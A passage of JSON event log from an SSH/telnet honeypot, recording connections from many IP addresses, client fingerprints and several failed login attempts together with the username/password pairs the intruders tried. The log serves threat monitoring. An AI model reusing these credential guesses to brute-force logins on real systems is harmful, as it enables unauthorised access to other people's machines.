{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:21.623773Z","src_ip":"91.211.95.158","session":"2f10ff584c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:21.773420Z","src_ip":"91.211.95.158","session":"2f10ff584c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:22.167969Z","src_ip":"27.71.230.31","session":"6bf3f88ba161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vvv","password":"vvv","message":"login attempt [vvv/vvv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:22.419139Z","src_ip":"91.211.95.158","session":"2f10ff584c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:23.576136Z","src_ip":"91.211.95.158","session":"2f10ff584c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":51494,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba80e3aa17c","protocol":"ssh","message":"New connection: 190.128.201.18:51494 (159.203.135.109:22) [session: 5ba80e3aa17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:45.404465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:45.408891Z","src_ip":"190.128.201.18","session":"5ba80e3aa17c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:45.546356Z","src_ip":"190.128.201.18","session":"5ba80e3aa17c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aff","password":"123456","message":"login attempt [aff/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:46.129157Z","src_ip":"190.128.201.18","session":"5ba80e3aa17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:28:47.269077Z","src_ip":"190.128.201.18","session":"5ba80e3aa17c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0035343170166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:01.153173Z","src_ip":"107.6.151.170","session":"61da1ff16ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39138,"dst_ip":"159.203.135.109","dst_port":23,"session":"717a944e7d2f","protocol":"telnet","message":"New connection: 107.6.151.170:39138 (159.203.135.109:23) [session: 717a944e7d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:21.975563Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60432,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e8a61e4049","protocol":"telnet","message":"New connection: 172.81.62.90:60432 (159.203.135.109:23) [session: 07e8a61e4049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:22.205957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":46884,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7826e69ee83","protocol":"ssh","message":"New connection: 103.15.222.183:46884 (10.17.0.5:22) [session: b7826e69ee83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:22.670296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:22.674680Z","src_ip":"103.15.222.183","session":"b7826e69ee83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:22.930538Z","src_ip":"103.15.222.183","session":"b7826e69ee83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011983","message":"login attempt [root/28011983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:23.698518Z","src_ip":"103.15.222.183","session":"b7826e69ee83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:24.956390Z","src_ip":"103.15.222.183","session":"b7826e69ee83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42586,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7680085144e","protocol":"telnet","message":"New connection: 172.81.62.90:42586 (159.203.135.109:23) [session: a7680085144e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:33.533483Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":58372,"dst_ip":"10.17.0.5","dst_port":22,"session":"b792b448d9fb","protocol":"ssh","message":"New connection: 4.213.224.194:58372 (10.17.0.5:22) [session: b792b448d9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:34.237159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:34.241679Z","src_ip":"4.213.224.194","session":"b792b448d9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:34.442015Z","src_ip":"4.213.224.194","session":"b792b448d9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste1234@","message":"login attempt [root/teste1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:35.279957Z","src_ip":"4.213.224.194","session":"b792b448d9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:36.483955Z","src_ip":"4.213.224.194","session":"b792b448d9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":51020,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0c8bb74c3a","protocol":"telnet","message":"New connection: 128.199.209.169:51020 (159.203.135.109:23) [session: bb0c8bb74c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:41.149254Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43922,"dst_ip":"159.203.135.109","dst_port":23,"session":"3322be1daac6","protocol":"telnet","message":"New connection: 107.6.151.170:43922 (159.203.135.109:23) [session: 3322be1daac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:42.289442Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":50304,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4aa54d57b58","protocol":"ssh","message":"New connection: 123.58.215.196:50304 (10.17.0.5:22) [session: c4aa54d57b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:45.397032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:45.405034Z","src_ip":"123.58.215.196","session":"c4aa54d57b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:45.615401Z","src_ip":"123.58.215.196","session":"c4aa54d57b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq12345678","message":"login attempt [root/Qq12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:46.462837Z","src_ip":"123.58.215.196","session":"c4aa54d57b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:47.685052Z","src_ip":"123.58.215.196","session":"c4aa54d57b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.79622411727905,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:29:54.771696Z","src_ip":"107.6.151.170","session":"717a944e7d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.276121377944946,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:00.481961Z","src_ip":"172.81.62.90","session":"07e8a61e4049","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":45640,"dst_ip":"159.203.135.109","dst_port":22,"session":"36080e8d87bd","protocol":"ssh","message":"New connection: 103.27.238.114:45640 (159.203.135.109:22) [session: 36080e8d87bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:08.509892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:08.514004Z","src_ip":"103.27.238.114","session":"36080e8d87bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:08.792683Z","src_ip":"103.27.238.114","session":"36080e8d87bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.01527762413025,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:09.548658Z","src_ip":"172.81.62.90","session":"a7680085144e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1181074","message":"login attempt [root/1181074] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:09.618589Z","src_ip":"103.27.238.114","session":"36080e8d87bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:10.896620Z","src_ip":"103.27.238.114","session":"36080e8d87bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40216,"dst_ip":"159.203.135.109","dst_port":22,"session":"376653d5ac34","protocol":"ssh","message":"New connection: 2.57.122.238:40216 (159.203.135.109:22) [session: 376653d5ac34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:13.299778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:13.303887Z","src_ip":"2.57.122.238","session":"376653d5ac34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:13.408462Z","src_ip":"2.57.122.238","session":"376653d5ac34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:13.722272Z","src_ip":"2.57.122.238","session":"376653d5ac34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31098127365112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:14.600290Z","src_ip":"107.6.151.170","session":"3322be1daac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:14.828873Z","src_ip":"2.57.122.238","session":"376653d5ac34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.13537788391113,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:30.284536Z","src_ip":"128.199.209.169","session":"bb0c8bb74c3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40600,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bb3bcb7f72d","protocol":"ssh","message":"New connection: 80.94.92.184:40600 (10.17.0.5:22) [session: 9bb3bcb7f72d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:32.165948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:30:32.727709Z","src_ip":"80.94.92.184","session":"9bb3bcb7f72d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v